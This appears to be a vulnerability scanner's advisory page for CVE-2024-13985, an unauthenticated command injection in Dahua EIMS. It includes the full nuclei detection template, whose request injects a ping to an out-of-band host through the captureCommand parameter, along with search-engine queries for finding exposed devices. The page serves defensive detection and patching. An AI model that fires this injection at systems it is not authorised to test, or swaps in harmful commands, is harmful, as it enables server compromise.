Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle

criticalseverity

9.8CVSS score

15.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.

Impact

Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.

Fix

Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.

How to confirm it

Send: GET {{BaseURL}}/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap
Positive when: contains in interactsh_protocol "dns" AND matches /^success$/

Run it with nuclei: nuclei -id CVE-2024-13985 -u <target>

The full check

id: CVE-2024-13985

info:
  name: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle
  author: DhiyaneshDk
  severity: critical
  description: |
    A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.
  impact: |
    Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.
  remediation: |
    Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.
  reference:
    - https://github.com/ahisec/nuclei-tps/blob/main/http/vulnerabilities/dahua/dahua-eims-capture-handle-rce.yaml
    - https://cn-sec.com/archives/2554372.html
    - https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8EEIMS-capture_handle%E6%8E%A5%E5%8F%A3%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  classification:
    cve-id: CVE-2024-13985
    epss-score: 0.15095
    epss-percentile: 0.96761
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 2
    shodan-query: '"Dahua EIMS"'
    zoomeye-query: 'app="大华 EIMS"'
  tags: cve,cve2024,dahua,eims,rce,oast,pre-auth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: regex
        regex:
          - "^success$"

References

Use this check only on systems you are authorised to test. Where the data comes from